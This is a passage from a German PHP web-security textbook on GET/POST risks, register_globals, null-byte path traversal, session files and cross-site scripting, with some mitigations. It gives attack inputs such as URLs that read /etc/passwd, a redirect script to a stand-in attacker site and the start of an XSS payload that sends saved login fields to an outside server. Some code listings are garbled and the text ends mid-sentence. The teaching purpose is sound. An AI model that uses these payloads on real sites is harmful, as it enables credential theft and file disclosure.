Tipp Ist der Mime-Type der auszuliefernden Datei nicht bekannt, sollte application/ octet-stream als Content-Type verwendet werden.
In diesem kleinen Skript wird das gesamte Problem umgangen: Die Datei wird ausgelesen und der Bytestream direkt an den Client ausgeliefert; dabei wird die Datei nicht vom PHP-Interpreter geparst, eventuell enthaltener PHP-Schadcode kommt somit nicht zur Ausführung.
81
Kapitel 4
Sensitive Daten richtig behandeln Heute bestehen Webanwendungen – im Gegensatz zu reinen Webseiten aus den ersten Tagen des Internets – aus Interaktion und Personalisierung. Dafür müssen persönliche Daten gespeichert und verwaltet werden; das gilt nicht nur für Applikationen, bei denen das offensichtlich ist, wie etwa Webshops. In Zeiten von Identitätsmissbrauch, Spam und Adresshandel sind solche Daten begehrter denn je, darum gilt es sie zu schützen.
4.1
Grundsatzprobleme
In diesem Abschnitt sollen absichtlich nur die Probleme, die beim Umgang mit Daten durch PHP und clientseitige Skripte entstehen können, beschrieben werden. Lösungen dazu finden Sie unter Abschnitt 4.2 Lösungsansätze auf Seite 97 – einen solchen Ansatz können Sie meist für mehrere »Aufgabenstellungen« anwenden, weshalb eine Auflistung im Sinne von »Problem = Lösung« dieses Kapitel nur unnötig aufblähen würde.
4.1.1
Falsche Request-Methode
Die Übertragung zwischen einem Client und einem Webserver wird über das HTTP-Protokoll abgewickelt. Dabei ist es egal, ob nun die heute als veraltet geltende Version 1.0 oder die aktuelle Version 1.1 verwendet wird. Grundsätzlich treffen folgende Eigenschaften auf dieses Protokoll immer noch zu: 쐽
verbindungslos
쐽
textbasiert
쐽
unverschlüsselt
Diese drei Merkmale stammen aus einer Zeit, in der Übertragungskapazität kaum vorhanden und die Übermittlung großer Datenmengen nicht notwendig war. Teilweise gilt das auch heute noch: Vor allem in ländlichen Gebieten und im asiatischen Raum erreicht man allzu oft keinen DSL-Standard. Diese drei Eigenschaften haben natürlich auch den Vorteil, dass sie so einfach gehalten sind, dass ein Client keine aufwändige Transportebene aufbauen muss.
Kapitel 4 Sensitive Daten richtig behandeln
Man kann sich sogar mit einem simplen telnet zu einem Webserver (meist TCPPort 80) verbinden und so den HTML-Quelltext der angeforderten Seite erhalten. Dynamik entsteht allerdings nicht dadurch, dass lediglich eine Seite angefordert und vom Webserver zurückgeliefert wird. Es ist notwendig, Parameter und individuelle Daten zu übertragen – ohne diese Fähigkeit wäre selbst ein umfangreiches Navigationsmenü nur umständlich zu realisieren. HTTP bietet dabei zwei Möglichkeiten, wie diese Daten übermittelt werden können. Jede dieser Methoden hat ihre Einschränkungen, ihre Berechtigungen und ihre Nachteile. Methoden GET Diese Methode ist nach der Protokollspezifikation für Anfragen gedacht, bei denen lediglich etwas erhalten (»get«) werden soll. Die übermittelten Daten stellen dabei etwa Such- oder Auswahlkriterien (Suchtext, Sprache) dar.
Die Parameter, die mit einer solchen Anfrage übertragen werden sollen, werden dabei innerhalb der URL notiert. Die Aufschlüsselung erfolgt stets als Schlüsselund Wertepaar, getrennt durch ein Gleichheitszeichen. Das erste Paar wird dabei direkt nach der angefragten Seite durch ein Fragezeichen, alle folgenden durch ein kaufmännisches Und-Zeichen eingeleitet. Eine URL mit einer GET-Anfrage sieht also etwa so aus: http://testserver/page.php?Parameter1=1234&Parameter2=abcdefg
Diese URLs sind sehr benutzerfreundlich, denn eine solche URL kann komplett übermittelt werden und führt immer zum gleichen Ergebnis. Allerdings hat diese Methode auch ihre Nachteile. Die Länge der URL ist begrenzt, dabei gibt es allerdings kein eindeutiges Limit: Der Apache-Webserver hat in einem Test von Phil Dawes (http://www.phildawes.net/blog/2006/05/09/server-length-limitations-on-http-get-urls/) mit einem eigenen Client GET-Anfragen mit einer 8000 Zeichen langen URL verarbeitet, die bekannte Grenze bei den meisten Browsern liegt hingegen bei 2048 Zeichen. Man sollte hier beachten, dass die Länge der URL nicht einfach aus der Summe der Zeichen besteht, denn Sonderzeichen müssen kodiert werden (eine Kodierungstabelle finden Sie unter http://www.bolege.de/url-encode/). GETAnfragen sind auch stärker für Manipulationen anfällig, da jeder Benutzer Parameter und Werte an die URL anhängen kann. Deswegen gilt für diese Methode mehr als sonst: Parameterwerte sollten vor der Verarbeitung auf ihren Typ und Plausibilität geprüft werden, besonders wenn sie dazu dienen, Daten in irgendeiner Weise zu selektieren. URLs werden von den meisten Webservern inklusive aller GET-Parameter protokolliert. Wird zusätzlich eine entsprechende Analysesoftware eingesetzt, sind diese
84
4.1 Grundsatzprobleme
Informationen möglicherweise für Dritte einsetzbar. Aufgrund dieser Gefahr sollten GET-Anfragen nicht für die Übermittlung sensitiver Daten, wie etwa Adressinformationen oder Passwörter, verwendet werden. Die »Angriffsmöglichkeiten« beschränken sich nicht nur auf Protokolldateien: Auch mit einer Man-in-the-Middle-Attacke ist es möglich, die GET-Parameter über einen Netzwerk-Sniffer auszuspionieren. Allerdings gehen auch von einer anderen Klientel durchaus Gefahren aus: Suchmaschinen indizieren ebenfalls vollständige GET-URLs. Dies kann dazu führen, dass Links in Suchmaschinen geführt werden, die von Anwendern gar nicht mehr aufgerufen werden sollen. Sessions sind in diesem Zusammenhang keinesfalls zu unterschätzen. Ist session.use_trans_sid aktiviert, wird die Session-ID stets als GET-Parameter mit der URL mitgeliefert. Bei der sehr laxen Prüfung der Session-Gültigkeit von PHP selbst könnte also ein Bekannter, dem man einen Link zu einem Produkt in einem Onlineshop gesendet hat, Zugriff auf den eigenen Warenkorb erlangen, da er sich in der gleichen Session befindet. Ebenfalls stellen Suchmaschinen hier ein Problem dar: Werden dort die Session-Informationen mit in den Link aufgenommen, ist es möglich, das zwei Benutzer der Suchmaschine gleichzeitig innerhalb der gleichen Session arbeiten und so eventuell die Daten des anderen einsehen können. POST Vollkommen anders als GET verhält sich die POST-Methode; hierbei werden die Parameter und ihre Werte nicht innerhalb der URL, sondern als Header-Information zwischen Client und Server übermittelt.
Ein Nachteil ist allerdings die fehlende Flexibilität. Die Zusammenstellung einer GET-URL ist an jeder Stelle im HTML-Quelltext möglich, die notwendigen Parameter werden einfach an die URL angehängt. POST-Anfragen sind über HTML allerdings nur mit einem Formular möglich. Es existiert keine clientseitige Limitierung der Datenmenge, die mit POST übertragen werden kann – das tatsächlich akzeptierte Übertragungsvolumen lässt sich jedoch serverseitig, etwa mit PHP durch die Konfigurationsdirektive post_max_ size, einschränken. Da Suchmaschinen lediglich auf Verlinkung basieren, und hier keine zusätzlichen Informationen als Header zwischengespeichert und bei der Suche übermittelt werden können, wird auch jeweils dann nur die Ziel-URL der POST-Anfrage ohne Parameter-Daten indiziert. Dies hat den Vorteil, das veraltete Links, die über die gleiche »Gateway«-Seite geleitet werden wie aktuelle Links, leicht ausgefiltert und Benutzer mit einem entsprechenden Hinweis »konfrontiert« werden können. Das Session-Problem stellt sich mit POST gar nicht erst: session.use_trans_sid wird die Session-Daten jeweils nur als GET-Parameter an die URL anhängen, sofern
85
Kapitel 4 Sensitive Daten richtig behandeln
dies notwendig ist. Ist die Verwendung von Cookies für die Session-Verwaltung nicht möglich und die ID soll aufgrund der Sicherheitsprobleme nicht genutzt werden, so kann die Session-ID mittels POST als verstecktes Formularfeld benutzt übertragen werden:
Allerdings sind POST-Anfragen auch nicht »secure by design«. Auch wenn POSTParameter nicht in Webserver-Protokollen mitgeschrieben und von Dritten nicht einsehbar sind, ist dennoch eine Man-in-the-middle-Attacke mit einem NetzwerkSniffer weiterhin möglich, die POST-Parameter werden im Klartext übertragen und können somit recht leicht erkannt werden. Konsequenzen
Jede der zwei in Frage kommenden Übertragungsmethoden, die zwischen einem Webserver und einem Client zur Verfügung stehen, hat ihre sicherheitsspezifischen Nachteile. Dabei ist GET etwas unsicherer als POST – jedoch können bei beiden die Daten im Klartext aus dem Netzwerkverkehr gezogen werden. POST-Parameter können zwar auch ausgelesen werden, jedoch ist dies erheblich
schwieriger. Allerdings ist auch der Aufwand, den man betreiben muss, um alle Parameter mittels POST zu übertragen, wesentlich höher. Um die Sicherheit beider Übertragungstechniken noch etwas zu erhöhen, sollten sensitive Daten lediglich per SSL übermittelt werden, beachten Sie hierzu auch Kapitel 8.
4.1.2 Fehlerhafte Verarbeitung Die meisten sensitiven Daten werden an Dritte übergeben, da Parameter oder andere Eingaben vor ihrer Verarbeitung nur ungenügend geprüft werden. Die Möglichkeiten, wie dabei Daten gestohlen oder manipuliert werden können, sind dabei relativ vielfältig. register_globals
Diese Konfigurationsdirektive von PHP bewegt Entwicklergenerationen. In den Anfängen von PHP ermöglichte es diese Option, dass jede Variable, die als Parameter von außen übergeben wurde, im globalen Namensbereich des jeweiligen Skripts zur Verfügung stand. Ein GET-Parameter mit dem Namen index stand somit als Variable $index zur Verfügung. Dabei beschränkte sich dieser Variablenimport nicht nur auf GET- und POST-Parameter – vielmehr ist es damit auch möglich, System-, Server-, Cookie- und SessionVariablen zu importieren.
86
4.1 Grundsatzprobleme
Jedoch hat sich schnell gezeigt, dass diese Technik viel zu unsicher ist. Dabei kann man den PHP-Entwicklern nicht sehr viele Vorwürfe machen, denn die Nachteile liegen schlichtweg in der Aufgabenstellung: Bedingt durch die Reihenfolge, in der die Variablen importiert werden, kann entweder ein legitimer Wert durch einen manipulierten überschrieben oder durch eine fehlende Initialisierung kann eine Variable aus einer Quelle gespeist werden, die dafür nicht vorgesehen war. Die Priorität der Variablen hängt dabei von der Option variables_order ab. Der Standardwert ist EGPCS: Zuerst werden Umgebungsvariablen (Environment, E), danach Eingaben aus GET- (G) und POST-Anfragen (P), anschließend werden Daten aus Cookies (C) und letztendlich Werte aus einer Session (S) in den globalen Namensraum übernommen. Dabei überschreibt eine namensgleiche Variable den vorherigen Wert. Das bedeutet in der Standardkonfiguration: Session-Variablen überschreiben alle anderen Daten, das bedeutet allerdings auch, das ein GET-Parameter eine Umgebungsvariable überschreiben kann. Cookies überschreiben alle anderen namensgleichen Variablen mit Ausnahme der Session-Daten. Der große Nachteil daran ist, dass sich nachträglich lediglich anhand der globalen Variable nicht feststellen lässt, aus welcher Quelle der Wert stammt. Problematisch ist register_globals allerdings auch für Variablen, die lediglich innerhalb eines Skriptes verwendet und nicht von außen belegt werden sollen. Dabei wird eine vermeintliche Sicherheit – indem Werte von außen lediglich nach einer Validitätsprüfung in eine »interne« Variable transferiert und mit dieser verarbeitet werden – genau ins Gegenteil umgekehrt: In der zu prüfenden Variable wird ein ungültiger Wert übermittelt, die »sichere« Variable wird mit einem Wert von außen überschrieben: file($_GET["page"])=="text/html") $file = $_GET["page"]; if(isset($file) && strlen($file)>0 && file_exists($file)) readfile($file); else Header("HTTP/1.1 404 Not found"); ?>
Listing 4.1:
Vorfiltern der auslesbaren Dateien
87
Kapitel 4 Sensitive Daten richtig behandeln
Dieses Skript prüft den Übergabeparameter page auf mehrere Kriterien: 쐽
er darf nicht leer sein muss ein string sein (dies wird über einen ===-Vergleich erreicht – diese Konstellation bewirkt auch einen Datentypvergleich)
쐽 page
쐽
der Wert muss mit der Zeichenkette .html enden
쐽 fileinfo muss die Datei als Mime-Type text/html identifizieren
Wenn alle diese Bedingungen zutreffen, wird der Wert aus $_GET["page"] in die Variable $file übernommen, die später – sofern der String eine Datei ist, die im aktuellen Verzeichnis existiert – ausgelesen und an den Client übermittelt wird. Durch die Wahl von $_GET["page"] und nicht etwa $page ist bereits sichergestellt, dass diese Variable über eine GET-Anfrage eingeliefert werden muss und so nicht dem Skript durch einen lokalen Angreifer, etwa über eine manipulierte serverseitige Session-Datei oder über veränderte Umgebungsvariablen, Werte untergeschoben werden. Fatal an diesem Skript – und es gibt viele PHP-Skripte, die in dieser vermeintlich sicheren Art und Weise implementiert sind – ist jedoch, dass die Prüfung der Daten lediglich auf die Eingangsvariable (der GET-Parameter) erfolgt und blind Daten in eine interne Variable übernommen werden, die vorher nie initialisiert wurde. Somit ist es über eine manipulierte URL möglich, eine Datei an den Client auszugeben, die dafür nicht vorgesehen war. Die einzige Schwierigkeit besteht lediglich darin, die Variable $file mit einem eigenen Wert zu belegen und gleichzeitig zu verhindern, dass sie mit den Daten aus dem GET-Parameter page überschrieben wird. Eine solch manipulierte URL könnte beispielsweise so aussehen: http://testserver/getfile.php?file=/etc/passwd
Ist register_globals deaktiviert, hat die URL lediglich den erwarteten HTTPFehler 404 zur Folge. Ist diese Option jedoch aktiviert, hat dies dramatische Folgen. Da $file innerhalb des Skriptes nie initialisiert wird, wird einfach der Wert des GET-Parameters ungeprüft übernommen: Die Prüfungen beschränken sich lediglich auf den GET-Parameter page, der hier nicht vorhanden ist. Vor der Ausgabe der Datei wird schlussendlich auch nur geprüft, ob die Datei in $file existiert – gibt also ein Angreifer als file-Parameter einen gültigen Pfad an, so wird diese Datei auch ausgegeben. Theoretisch ist es so etwa möglich, die zentrale passwd-Datei auszugeben; Bedingung dazu ist natürlich, dass der Webserver-Prozess Zugriffsrechte auf die Datei besitzt und nicht etwa durch eine open_basedir-Anweisung innerhalb des Dateisystems beschränkt wird. Doch selbst bei aktiviertem open_basedir könnte ein Angreifer zumindest die Skriptdatei selbst im Quelltext ausgeben und sich dann mit dieser Kenntnis etwa an per include()-Anweisung
88
4.1 Grundsatzprobleme
eingebundene Dateien wagen und somit beispielsweise Datenbankpasswörter in Erfahrung bringen, mit denen dann andere sensitive Daten ausgelesen werden können. Kodierung
Sonderzeichen können in verschiedener Weise sehr tückisch sein – besonders dann, wenn aus PHP heraus ein String an ein externes System – etwa das Betriebssystem oder einen Datenbankserver – übergeben wird. Innerhalb von PHP ist jederzeit sichergestellt, das eine Zeichenkette, die Sonderzeichen enthält, nicht durch Sonderzeichen »aufgebrochen« wird. Wird diese Zeichenkette jedoch ohne jede weitere Aktion etwa an den Datenbankserver übergeben, können die Auswirkungen unerwartet sein, eine detailliertere Schilderung der Datenbankproblematik finden Sie im Abschnitt 4.1.3 Fehlerhafte SQL-Verwertung auf Seite 90. Bei der Übergabe an das Betriebssystem sind Sonderzeichen nicht minder gefährlich. Das folgende Skript soll diesen Umstand einmal verdeutlichen:
Listing 4.2:
Auslesen einer Datei
Dieser Befehl prüft den GET-Parameter page darauf, ob er mit der Zeichenkette .html endet – der Parameter soll also den Dateinamen einer HTML-Datei enthalten. Schließlich wird noch geprüft, ob diese Datei überhaupt existiert. Der Einfachheit halber wird in diesem Beispiel auf eine Pfadprüfung und eine Umsetzung der Pfadangabe mittels realpath() (eine Technik, die unbedingt eingesetzt werden sollte, siehe auch Kapitel 7) verzichtet. Solange keinerlei Sonderzeichen im Wert des GET-Parameters enthalten sind, stellt dies alles kein Problem dar. Ein Angreifer könnte jedoch auch einen Wert wie etwa ./../../../../../etc/passwd%00.html übergeben. Innerhalb von PHP wird %00 als %00 behandelt: Es sind lediglich drei Zeichen in einer Zeichenkette. Auf Datei- und Betriebssystemebene wird dieses Sonderzeichen allerdings zu einem NULL-Zeichen ("\0") dekodiert; dieses Sonderzeichen terminiert jede Zeichenkette, alle folgenden Zeichen werden nicht mehr in den String übernommen. Aus ./../../../../../etc/passwd%00.html wird somit
89
Kapitel 4 Sensitive Daten richtig behandeln
./../../../../../etc/passwd\0.html – die Terminierung führt schließlich zum Wert ./../../../../../etc/passwd. readfile() wird also lediglich dieser verkürzte String übergeben, somit ist es
einem Angreifer möglich, Dateien auszulesen, die nicht ausgegeben werden sollten. Da der String jedoch innerhalb von PHP vollständig abgebildet wird, besteht er auch die Prüfung auf die Endung .html. Alle PHP-Befehle und Sprachkonstrukte, die auf Dateien zugreifen, nutzen dabei Funktionen des Datei- und Betriebssystems, somit wird die Datei geöffnet, die auf dem verkürzten String basiert.
Wichtig Dieses Problem kann mit der Aktivierung von magic_quotes_gpc behoben werden, es gibt jedoch Skripte, die eine Deaktivierung voraussetzen! Alternativ zum Öffnen und Auslesen einer Datei können Sonderzeichen auch Einfluss auf Funktionen nehmen, die einen Betriebssystemaufruf durchführen. Diese Thematik wird im Abschnitt 7.4.4 Prozesse ausführen auf Seite 244, ausführlich behandelt.
4.1.3 Fehlerhafte SQL-Verwertung Es gibt viele Möglichkeiten, Code in eine Datenbankabfrage einzuschleusen und somit Abfrageergebnisse zu erzwingen, die vom Programmierer des Skripts nicht im entferntesten gewünscht waren. Die meisten »Lücken« funktionieren mit fast allen SQL-Datenbanken, die sich an den SQL-92- oder SQL-99-Standard halten. Der klassische Angriff ist dabei die sog. SQL-Injection, dabei wird eigener Code in eine Abfrage injiziert. Es handelt sich dabei nicht einmal um einen Fehler im Datenbanksystem, denn dies arbeitet vollkommen korrekt nach Spezifikation. Eine Injection nutzt vielmehr die fehlende Validierung der Parameter auf der Serverseite durch PHP aus, die in die Abfrage aus Benutzereingaben übernommen werden; dabei rächt sich auch der legere und sorglose Umgang mit Datenbankabfragen. Das größte Sorgenkind sind auch hier die Sonderzeichen. Sofern sie eine datenbanksystemrelevante Wirkung haben, kann ihr geschickter Einsatz dazu führen, dass in ein SQL-Statement zusätzlicher SQL-Code eingeschleust oder eigentlich integrierter Code deaktiviert wird. Mit einigen Datenbanksystemen und PHPBefehlen ist es sogar möglich, nicht nur bestehende Abfragen zu manipulieren, sondern auch neue, vollkommen autonome zu erzeugen. Da diese Thematik sehr komplex und bei datenbankgestützten PHP-Anwendungen auch sehr weitreichend ist, wurde ihre ein eigenes Kapitel gewidmet. Mehr Informationen finden Sie in den Kapiteln 11 Die Datenbank als Fehlerquelle und Kapitel 12 Die SQL-Injection.
90
4.1 Grundsatzprobleme
4.1.4 Zwischenspeicherung von Sessions und Cookies Auch in diesem Kapitel darf ein Hinweis auf Sessions nicht fehlen. Dieses Feature von PHP ermöglicht erst die Umsetzung von Anwendungen, denn Informationen, die zu einer bestimmten Sitzung gehören, werden auf dem Server zwischengespeichert und stehen somit über mehrere Seitenaufrufe hinweg zur Verfügung. Sessions haben dabei meistens eine begrenzte Gültigkeit, die jedoch keinesfalls mit dem Verlassen der Seite durch den Benutzer automatisch abgelaufen ist: Im Allgemeinen sendet ein Browser keine Daten an den Server, wenn zu einer anderen Domain gewechselt wird. Die Möglichkeit, hier mit JavaScript Daten beim Verlassen einer Seite zu übermitteln, besteht zwar, doch diese Methode greift auch, wenn der Benutzer innerhalb der Website zu einer anderen Unterseite wechselt – in dieser Situation soll kaum die Session beendet werden (und mit JavaScript gibt es keine Möglichkeit, die URL der »neuen« Seite in Erfahrung zu bringen). Da die Gültigkeit einer Sitzung zwar sehr kurz sein kann – etwa nur 30 Minuten nach dem letzten Zugriff auf die Sitzung – aber auch sehr lang sein darf (eine zeitlich nicht begrenze Speicherung ist als Dauer genauso zulässig) können die Daten nicht im Speicher des Servers vorgehalten werden; diese Daten werden von der jeweiligen Instanz bei der Session-Anforderung erneut geladen. Dies ist durchaus vorteilhaft, denn so stehen Sessions auch über einen Neustart des Webservers weiter zur Verfügung. Dies erhöht den Komfort für Benutzer: Haben sie ein Bookmark auf die Seite inklusive Session-ID gelegt, so befinden sie sich nach dem Aufruf dieses Lesezeichens bereits wieder in ihrer Sitzung, eine erneute Anmeldung entfällt beispielsweise (diese Möglichkeit besteht selbst dann, falls die Session-ID nicht in der URL mitgeführt wird, sondern beispielsweise über Cookies ermittelt werden kann). Da die Daten nicht im Speicher vorgehalten werden, müssen sie »nicht-flüchtig« auf dem Serversystem gespeichert werden. Dafür bietet PHP die Session-SaveHandler. Die Standardeinstellung wird dabei meistens unverändert gelassen. Dabei werden die Sessions im Dateiformat innerhalb des temporären Verzeichnisses des Systems gespeichert – unter Linux ist das meistens /tmp. Hier kommt noch erschwerend hinzu, dass bei der Erstellung der Dateien in diesem Verzeichnis sehr offene Rechte vergeben werden, mit denen es anderen Servernutzern erlaubt wird, auf diese Dateien lesend und meist auch schreibend zuzugreifen. Dies ist in gewissen Sinne dramatisch, denn ein lokaler Systembenutzer – egal, ob es sich um einen legitimen User oder einen Angreifer handelt, der mittels einer Attacke jeglicher Art lokalen Zugriff erlangt hat – kann somit die Daten, die innerhalb einer Session bestehen, einsehen und mit etwas Wissen sogar ändern, da diese Daten lediglich serialisiert abgespeichert werden. Das bedeutet, dass die Objekte – also etwa Klassen-Instanzen, Variablen eines Basistyps oder Arrays – mit all ihren Daten in der Datei abgebildet werden, die Speicherung erfolgt dabei allerdings in keiner binären, sondern in einer rein textorientierten Form.
91
Kapitel 4 Sensitive Daten richtig behandeln
Generell – und vor allem in Verbindung mit Sessions – sollte man auch nicht allzu viel von Cookies halten: Diese werden vom Client geliefert und können dort beliebig angelegt und verändert werden. Dies gilt sowohl für Cookies, die die Session-ID beinhalten als auch für solche, die lediglich einen Benutzernamen enthalten, der dann automatisch als authentifiziert gilt. Login-Daten aus Cookies sollten bestenfalls als Unterstützung verwendet werden: Diese Daten können beispielsweise ausgelesen und als Vorbelegung für ein Login-Formular verwendet werden, jedoch sollte ihnen nicht blind vertraut werden. In diesem Zusammenhang gibt es dann auch gleich mehrere mögliche Angriffsszenarien: 쐽
Ein nie authentifizierter Benutzer erstellt ein Session-Cookie einer anderen bestehenden Session oder erzeugt ein Login-Cookie mit einem Benutzernamen und macht sich die jeweilige Session zu eigen.
쐽
Bestehende Cookies, die durchaus auf legitimem Weg entstanden sind, werden so verändert, dass auch hier eine falsche Identität angenommen wird.
쐽
Auf einem Rechner, der von mehreren Benutzern verwendet wird – etwa ein Unternehmens- oder Internet-Café-PC –, speichert Cookies, worüber sich ein anderer »realer« Benutzer einen bestehenden Login aneignen kann.
4.1.5
Cross Site Scripting
Inzwischen ist es auf vielen Seiten üblich und von den Benutzern als zusätzliches Feature gewünscht, dass eine bestimmte Interaktion durch die Anwender möglich wird. Dabei möchten die Benutzer vor allem ihr eigenes Profil soweit selbst verändern können, das verschiedene Signaturen möglich sind, die sich von anderen unterscheiden. Um das zu erreichen, ist es natürlich naheliegend, HTML dafür zu nutzen, da es von den Clients – dabei handelt es sich dann ausschließlich um Browser – sowieso unterstützt wird (eine HTML-Seite lässt sich nur in einem geeigneten Client sinnvoll darstellen). Die Eingabe von HTML muss nicht einmal absichtlich zugelassen werden: Wenn die Eingabe nicht auf HTML geprüft wird, ist es durchaus wahrscheinlich, dass sie zulässig ist und somit jeder HTML-Tags und vor allem JavaScript-Code eingeben kann. Dieser Umstand hat allerdings erst dann Auswirkungen, sobald die Eingaben von Benutzern in die Ausgabe, die andere User erhalten, eingebettet werden. So sind z.B. Gästebuch- und Foreneinträge in dieser Hinsicht gefährlich. Cross Site Scripting – auch als XSS bezeichnet – verwendet dabei einen anderen Ansatzpunkt als andere Attacken wie etwa die SQL-Injection: Der Server ist lediglich Vermittler des auszuliefernden Codes und nimmt selbst keinen Schaden, nur der Client wird angegriffen. Die Bezeichnung »Angriff« bedingt hier allerdings noch nicht einmal eine technische Lücke im Client, denn primär zielen XSS-Attacken nicht auf bestimmte Fehler in Browsern oder ähnlicher Software ab. Sie nutzen allerdings das Vertrauensverhältnis, das zwischen dem Client und dem Server besteht aus,
92
4.1 Grundsatzprobleme
weshalb Cross Site Scripting auch wieder für den Serverbetreiber eine reale Gefahr wird: Keiner wird eine Seite besuchen wollen, über die es Dritten möglich ist, den eigenen Rechner zu beeinflussen oder sensitive Daten auszulesen. Im folgenden PHP-Code wird der Gästebucheintrag aus der Datenbank ausgelesen und direkt an die Ausgabe geleitet: "; echo "
".$row["username"]." ".$row["entry_date"]."
"; echo "
".$row["entry_text"]. "
"; echo ""; } // Seitenfuß … ?>
Listing 4.3:
Auslesen eines Eintrages aus der Datenbank
Bei diesem Beispiel wird davon ausgegangen, dass die Daten, die in die Datenbank übernommen wurden, auch bei der Eingabe nicht geprüft wurden und so alles, was ein Benutzer in einem Formular eingegeben hat, blind übernommen wurde. Der einfachste und dennoch effektivste Angriff entsteht, wenn hier als Eintragstext folgender Code eingegeben wurde: <script type="text/JavaScript"> top.location.href = "http://hackers.page.com";
Effektiv ist dieser Angriff deshalb, weil jeder Anwender, der nun das Skript aufruft, das diesen Eintrag aus der Datenbank ausliest, automatisch auf die im JavaScript angegebene URL umgeleitet wird (sofern der Benutzer JavaScript aktiviert hat, was allerdings bei mehr als 90 % der Benutzer der Fall ist). Kompliziert wird es, falls der Angreifer seine eigene Seite im Design an die angegriffene »Start«-Seite angepasst hat und etwa ein Login der Benutzer verlangt: Er kann so sehr leicht an die Benutzerdaten gelangen und sich damit auf der echten Seite einloggen – ein Benutzer
93
Kapitel 4 Sensitive Daten richtig behandeln
kann dies nur erkennen, wenn er die Adresszeile seines Browsers beachtet, solange jedoch das Layout der Webseite unverändert bleibt, fühlen sich leider nur wenige Anwender zum regelmäßigen Blick in die Adressleiste verpflichtet. Gelöst werden könnte diese Problematik mit dem Maskieren der fragwürdigen Daten. Die einfachste Möglichkeit ist dabei ein einfaches preg_replace() innerhalb des verarbeitenden PHP-Skripts: $text = preg_replace("/<\s*script\s*>.*<\s*\/script\s*>/imU", "", $_REQUEST["text"]);
Noch sicherer wäre allerdings die Kodierung aller <- und >-Zeichen in die jeweiligen Entitäten: $text = str_replace("<", "<", $_REQUEST["text"]); $text = str_replace(">", ">", $text);
Dies sind nur zwei sehr einfache Varianten zur »Bekämpfung« eingeschleuster JavaScript-Blöcke – vor allem die einfache Kodierung der <- und >-Zeichen bedeutet allerdings auch den Verlust anderer Formatierungsmöglichkeiten (ein wird dann ebenso nicht mehr interpretiert). Eine Alternative zu dieser doch recht »brutalen« Variante ist die Klasse safehtml, die lediglich XSS-relevante Tags entfernt. Diese Klasse wird im Abschnitt Maskierung von Daten auf Seite 130 vorgestellt. Ein XSS-Angriff ist für den Serveradministrator allerdings schwierig zu erkennen, denn es kommt weder zu einer hohen Serverlast, noch werden Daten auf dem Server in irgendeiner Weise manipuliert. Wenn es der Angreifer schafft, seine Manipulation auf der Startseite unterzubringen (etwa wenn die neuesten Gästebuch- und Foreneinträge ausschnittsweise auf der Einstiegsseite angezeigt werden), werden alle Benutzer ohne eine Chance auf Interaktion mit der eigentlichen Website umgeleitet. Dies kann der Webmaster allerhöchstens dadurch erkennen, dass die Benutzer verhältnismäßig kurz auf der eigenen Seite verweilen – doch dies wird niemand spontan als einen Angriff werten. Allerdings wäre es fatal nun zu denken, dass XSS lediglich ein Problem ist, mit dem auf eine neue Seite umgeleitet oder lediglich Einfluss auf das Seitenlayout genommen werden kann. Besonders in Verbindung mit den heute üblichen Komfortfunktionen der Browser – vor allem der Speicherung von Login-Daten, die bei einem späteren Aufruf der gleichen Seite als Vorgabewert für die jeweiligen Formularfelder genutzt werden – wird XSS erst richtig attraktiv. Hat ein Benutzer in seinem Browser das Speichern der Formularfelder für Benutzername und Passwort aktiviert – diese Funktion trägt je nach Browser verschiedene Bezeichnungen –, so werden nach dem vollständigen Laden der Seite diese
94
4.1 Grundsatzprobleme
Daten in die Formularfelder eingetragen. Die einzige Bedingung ist hierbei: Es muss sich um die gleiche Domain handeln, die auch bei der Speicherung verwendet wurde, und die Felder müssen den gleichen Namen tragen. Diese Daten stehen dabei natürlich als Klartext innerhalb dieser Felder, da sie so auch später an den Server übertragen werden müssen. Schafft es ein Angreifer, diese Daten mit einem eingeschleusten JavaScript auszulesen und an einen eigenen Server zu übermitteln, kann er sich unbemerkt die Zugangsdaten verschiedener Anwender sichern; diese Aktion erfolgt ausschließlich clientseitig, man ist also auf keine Lücke innerhalb des Servers angewiesen. Hier kommt der heutige Komfort wieder zum Zug: Waren Login-Seiten zu Beginn der rapiden Internetentwicklung stets eigenständige Seiten, werden diese kleinen Login-Formulare innerhalb von Menüs als kleine Boxen integriert. Betrachtet also ein Benutzer lediglich das Gästebuch einer Seite, so wird wahrscheinlich – solange der Anwender noch nicht eingeloggt ist – das Anmeldeformular in die Seite integriert angezeigt und vom Browser mit den gespeicherten Werten vorbelegt. Das Wichtigste bei einer solchen Aktion ist das Timing: Die Formularfelder werden bei den meisten Browser erst dann ausgefüllt, wenn die komplette Seite geladen und gerendert wurde. Dies bedeutet auch, dass ein JavaScript, das direkt auf diese Felder zugreifen möchte, wahrscheinlich noch keine gültigen Werte geliefert bekommt. Wird das bereits verwendete angreifbare Gästebuch-Skript verwendet, das Eingaben ungeprüft übernimmt und ausliefert, ist es nur erforderlich, dass der Angreifer die Feldnamen des Login-Formulars kennt (das ist mit einem Blick in den HTML-Quelltext der Seite ohne viel Aufwand herauszufinden). Ein manipulierter Gästebuchtext, der diese Daten ausgibt, kann etwa so aussehen: <script type="text/JavaScript"> // create XMLHttpRequest var request = null; if(typeof XMLHttpRequest != "undefined") request = new XMLHttpRequest(); else { var versions = ["MSXML2.XMLHttp.5.0", "MSXML2.XMLHttp.4.0", "MSXML2.XMLHttp.3.0", "MSXML2.XMLHttp", "Microsoft.XMLHttp"]; for(var i=0; i
95
Hinweis Dieses Beispiel ist zugegeben etwas konstruiert: Jeder Browser verfügt im Rahmen von AJAX mehr oder minder über die Same Origin Policy, siehe Abschnitt 13.1 Fremde Aufrufe auf Seite 371. Darauf verlassen sollte man sich jedoch nicht; und schafft es etwa der Angreifer, ein Skript auf dem eigenen Server unterzubringen, der die empfangenen Daten dann per E-Mail weiterleitet, nützt auch dieser Schutzmechanismus nicht mehr viel. Hierbei werden die Formulardaten per AJAX – also asynchron – an einen Drittserver übertragen, der Endbenutzer bekommt dies also nicht einmal mit, da der Server mit dem Laden der Seite scheinbar fertig ist und es auch innerhalb einer Statusleiste keinerlei Hinweis auf eine Verbindung zu einem externen Server gibt. Doch je nach Browser wird dieses eingeschleuste JavaScript bereits ausgeführt, wenn die infrage kommenden Felder noch nicht vom Browser mit ihren gespeicherten Werten vorbelegt wurden. Der Angreifer muss es also schaffen, dass das Skript erst dann ausgeführt wird, wenn die Seite fertig gerendert wurde (dann sind wahrscheinlich die Vorgabewerte zugewiesen). Doch auch die Vorgabewerte können falsch sein – weil etwa das Passwort zwischenzeitlich verändert wurde; besser wäre es also, genau die Werte zu erhalten, die der Benutzer zum Login an den Server übermittelt. Mit JavaScript ist dies 